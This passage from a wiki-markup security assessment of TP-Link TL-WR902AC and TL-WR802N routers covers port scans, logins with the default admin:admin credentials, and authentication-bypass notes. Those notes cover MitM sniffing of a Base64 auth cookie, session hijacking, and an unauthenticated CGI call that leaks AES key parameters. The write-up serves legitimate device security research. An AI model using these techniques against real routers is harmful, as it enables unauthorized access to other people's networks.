doesn&#039;t stay in the same physical location for a long time.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Network Mapper&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr style=&amp;quot;border-color: whitesmoke&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Local Area Network&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki style=&amp;quot;margin: 0&amp;quot;&amp;gt;PORT     STATE SERVICE     VERSION&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;21&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  ftp         vsftpd 2.0.8 or later&lt;br /&gt;
|_ftp-anon: got code 500 &amp;quot;OOPS: no entry found!&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;22&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  ssh         Dropbear sshd 2012.55 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey: &lt;br /&gt;
|   1024 ff:29:95:59:3a:2e:18:cd:13:7b:4f:c9:df:0f:a9:4f (DSA)&lt;br /&gt;
|_  1040 54:af:2a:2a:03:ae:a1:f2:c6:1c:a1:2f:85:a6:fe:1b (RSA)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  http        TP-LINK TD-W8968 http &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
|_http-title: Site doesn&#039;t have a title (text/html; charset=utf-8).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;139&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;445&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp  open  netbios-ssn Samba smbd 3.0.14a (workgroup: WORKGROUP)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open  upnp        Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/udp open  wscd: SSDP  Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;20002&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/udp open  httpd?     UPD hello messages.&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;40955&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open  upnp       Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&lt;br /&gt;
Service Info: Host: TP-Link; OS: Linux; Device: WAP; CPE: cpe:/o:linux:linux_kernel, cpe:/h:tp-link:td-w8968, cpe:/o:linux:linux_kernel:2.6.36&lt;br /&gt;
&lt;br /&gt;
Host script results:&lt;br /&gt;
|_clock-skew: mean: -18432d18h23m26s, deviation: 0s, median: -18432d18h23m26s&lt;br /&gt;
| smb-os-discovery: &lt;br /&gt;
|   OS: Unix (Samba 3.0.14a)&lt;br /&gt;
|   NetBIOS computer name: &lt;br /&gt;
|   Workgroup: WORKGROUP\x00&lt;br /&gt;
|_  System time: 1970-01-01T00:03:48+00:00&lt;br /&gt;
| smb-security-mode: &lt;br /&gt;
|   account_used: guest&lt;br /&gt;
|   authentication_level: share (dangerous)&lt;br /&gt;
|   challenge_response: supported&lt;br /&gt;
|_  message_signing: disabled (dangerous, but default)&lt;br /&gt;
|_smb2-time: Protocol negotiation failed (SMB2)&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wide Area Network (WAN)&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Host is up.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: 300Mbps Wireless N - Nano Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr style=&amp;quot;border-color: whitesmoke&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;Local Area Network&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki style=&amp;quot;margin: 0&amp;quot;&amp;gt;PORT     STATE  SERVICE VERSION&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;22&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open   ssh     Dropbear sshd 2012.55 (protocol 2.0)&lt;br /&gt;
| ssh-hostkey:&lt;br /&gt;
|   1024 c5:2f:17:05:d0:da:57:ea:16:d8:4c:c3:14:a6:b3:c9 (DSA)&lt;br /&gt;
|_  1039 6c:06:ba:de:54:2d:05:02:f9:79:a6:79:2e:64:9f:96 (RSA)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;53&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open  domain  dnsmasq 2.78&lt;br /&gt;
| dns-nsid:&lt;br /&gt;
|   NSID: viezcnsat10 (7669657a636e7361743130)&lt;br /&gt;
|   id.server: viezcnsat10&lt;br /&gt;
|_  bind.version: dnsmasq-2.78&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;80&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp   open   http&lt;br /&gt;
| fingerprint-strings:&lt;br /&gt;
|   GetRequest:&lt;br /&gt;
|     HTTP/1.1 200 OK&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 16113&lt;br /&gt;
|     Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly&lt;br /&gt;
|     Connection: keep-alive&lt;br /&gt;
|   HTTPOptions, RTSPRequest:&lt;br /&gt;
|     HTTP/1.1 405 Method Not Allowed&lt;br /&gt;
|     Content-Type: text/html; charset=utf-8&lt;br /&gt;
|     Content-Length: 124&lt;br /&gt;
|     Set-Cookie: JSESSIONID=deleted; Expires=Thu, 01 Jan 1970 00:00:01 GMT; Path=/; HttpOnly&lt;br /&gt;
|_    Connection: close&lt;br /&gt;
|_http-title: Site doesn&#039;t have a title (text/html; charset=utf-8).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;1900&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;/tcp open   upnp    Portable SDK for UPnP devices 1.6.19 (Linux 2.6.36; UPnP 1.0)&lt;br /&gt;
&lt;br /&gt;
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:2.6.36&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wide Area Network (WAN)&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Host is up.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Spoiler&amp;lt;/b&amp;gt;: The username and password are shared between http, ftp, ssh and smb services. It is set via Web interface and stored in the passwd file. The default credentials are &amp;lt;code&amp;gt;admin:admin&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Secure shell (SSH)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ ssh admin@192.168.0.1&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin@192.168.0.1&#039;s password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
PTY allocation request failed on channel 0&lt;br /&gt;
shell request failed on channel 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ scp admin@192.168.0.1:/etc/passwd ./tmp/&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin@192.168.0.1&#039;s password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
exec request failed on channel 0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;PTY allocation request failed&amp;lt;/code&amp;gt; indicated that the login was successful, but the devices provides no interctive shell. This can be seen using the &amp;lt;code&amp;gt;-vvv&amp;lt;/code&amp;gt; debugging mode with &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;To help customers manage and configure the TP-Link device better, some TP-Link apps are published for mobile devices, such as Tether 2.0 app, Deco app, Tapo app, and tpCamera app, etc. The TP-Link app adopts SSH service, so the products that can use the app also support SSH correspondingly. And TCP port 22 as the default port of SSH Service is set to be opened. However, SSH Services on the TP-Link products are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. So please rest assured that the SSH will never cause any safety issues on your device.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/us/support/faq/2462/ Support]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: While the dropbear package provides SCP functionality, it does not contain anything for SFTP.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;File Transfer Protocol (FTP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ ftp 192.168.1.1 21&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Connected to 192.168.1.1.&lt;br /&gt;
220 Welcome to TP-Link FTP server&lt;br /&gt;
Name (192.168.1.1): &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
331 Please specify the password.&lt;br /&gt;
Password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
230 Login successful.&lt;br /&gt;
Remote system type is UNIX.&lt;br /&gt;
Using binary mode to transfer files.&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt; pwd&lt;br /&gt;
257 &amp;quot;/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt; dir&lt;br /&gt;
200 PORT command successful. Consider using PASV.&lt;br /&gt;
150 Here comes the directory listing.&lt;br /&gt;
226 Directory send OK.&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The FTP server maps to USB Volumes which can be configured on the webpage. The default FTP root is therefore empty.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: FTP ends up in an empty root directory using the credentials &amp;lt;code&amp;gt;admin:admin&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Server Message Block (SMB)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ smbclient -L 192.168.1.1 -U admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Unable to initialize messaging context&lt;br /&gt;
Enter WORKGROUP\admin&#039;s password:&lt;br /&gt;
Server requested LANMAN password (share-level security) but &#039;client lanman auth = no&#039; or &#039;client ntlmv2 auth = yes&#039;&lt;br /&gt;
tree connect failed: NT_STATUS_ACCESS_DENIED&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Universal Plug and Play (UPnP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;* https://coolaj86.com/articles/adventures-in-upnp-on-osx/&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;TP-Link Device Debug Protocol (TDDP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TP-Link Device Debug Protocol (TDDP) is in use across most of the TP-Link product line including routers and access points.&amp;lt;br&amp;gt;&lt;br /&gt;
* https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/&lt;br /&gt;
* https://hackaday.com/2016/12/14/tp-link-debug-protocol-give-up-keys-to-kingdom/&lt;br /&gt;
* https://github.com/P0lako/tl-wa5210gV2_Downgrade&lt;br /&gt;
* https://www.zdnet.com/article/google-dev-discloses-zero-day-flaw-in-tp-link-smart-home-routers/&lt;br /&gt;
Such downgrade would be the only interesting attack in combination with all these vulnerability issues in FWv1&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Requires in-depth investigation!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Web Interface&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 10px&amp;quot;&amp;gt;The device can be managed through a web interface or via mobile APP. The web interface is accessible over HTTP an requires authorization to access. The device provides an initial setup process, where a user could change credentails and WLAN passwords from its defaults, but doesn&#039;t enforce any changes. TP-Link use a custom http daemon including an CGI interface.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Webpage provides no encrypted connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: No responsive design and almost useless on the phone, mobile users &amp;quot;should&amp;quot; use the mobile app.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Authentication Bypass&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: The user name and password can be changed.&amp;lt;br&amp;gt; Both must not exceed 15 characters in length and must not include any spaces. 32 characters on the newer firmware.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Cookies&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The login process at the TP-WR902AC with the FW version 170828 is quite primitive. The function &amp;lt;code&amp;gt;PCSubWin()&amp;lt;/code&amp;gt; is called by clicking the login button. This function does not communicate directly with the server, but creates an Authorization Cookie based on the content of the Username and Password field. The cookie is a Basic HTTP authentication, where &amp;lt;code&amp;gt;username:password&amp;lt;/code&amp;gt; Base64 is encoded and stored as a cookie. (Example: &amp;lt;code&amp;gt;Authorization=Basic YWRtaW46YWRtaW4=&amp;lt;/code&amp;gt; Afterwards the page is reloaded. If the authentication is successful, you will be transferred to the user interface. Otherwise the faulty cookie will be removed and the login page will be reloaded.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var auth;&lt;br /&gt;
var password = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;pcPassword&amp;quot;).value;&lt;br /&gt;
var userName = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;userName&amp;quot;).value;&lt;br /&gt;
&lt;br /&gt;
auth = &amp;quot;Basic &amp;quot;+Base64Encoding(userName+&amp;quot;:&amp;quot;+password);&lt;br /&gt;
document.cookie = &amp;quot;Authorization=&amp;quot; + auth;&lt;br /&gt;
window.location.reload();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Login limited to 10 attempts&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 10px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The router allows only one administrator to login at the same time&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:TL-WR902ACLogin_Wireshark_MitM_Auth_Cookie.png|300px|right|thumb|TL-WR902AC: Wireshark Auth Cookie]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This Authorization Cookie is transferred on every interaction with the server. Since the website does not offer a secure connection via HTTPS, it is very easy to intercept it by a MitM attack and finally decode Base64. This gives access to FTP, SSH and HTTP services due to the shared login. However, this requires a user who is currently active in the web interface. It should be noted that some web pages like the index page additionally reload the web page content (&amp;lt;code&amp;gt;/main/status.html?_=$TIMESTAMP&amp;lt;/code&amp;gt;) every 20 seconds and thus retransmit the cookie.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;$ echo YWRtaW46YWRtaW4= | base64 --decode&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin:admin&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Session hijacking&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TP-WR802N with the new FW version 190428 doesn&#039;t use Authorisation Cookies anymore. It uses &amp;lt;code&amp;gt;JSESSIONID&amp;lt;/code&amp;gt; cookies as well as AES encrypted payload instead. But still supports HTTP only, which makes it still possible to easily hijack the ongoing session, but prevents to leak the credentials. It is very interesting to notice is that the Server send all necessary parameters to generate the AES encryption key in response to an unauthorized CGI call (&amp;lt;code&amp;gt;$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;); $.exe(null,false,0);&amp;lt;/code&amp;gt;), which can be re-called at any point of time. Note that &amp;lt;code&amp;gt;nn&amp;lt;/code&amp;gt; changes on reboot and &amp;lt;code&amp;gt;seq&amp;lt;/code&amp;gt; on every request.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; margin-top: 20px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The Results of CGI calls are automatically parsed and accessable using JavaScript after executing &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt;. Example: &amp;lt;code&amp;gt;$.ret&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Login process&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;);&lt;br /&gt;
$.exe(null,false,0);&lt;br /&gt;
&lt;br /&gt;
	# Request Parameters&lt;br /&gt;
	# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0&lt;br /&gt;
&lt;br /&gt;
	# Example Response&lt;br /&gt;
	# lib.js:396 XHR finished loading: POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot;&lt;br /&gt;
	# [cgi]0&lt;br /&gt;
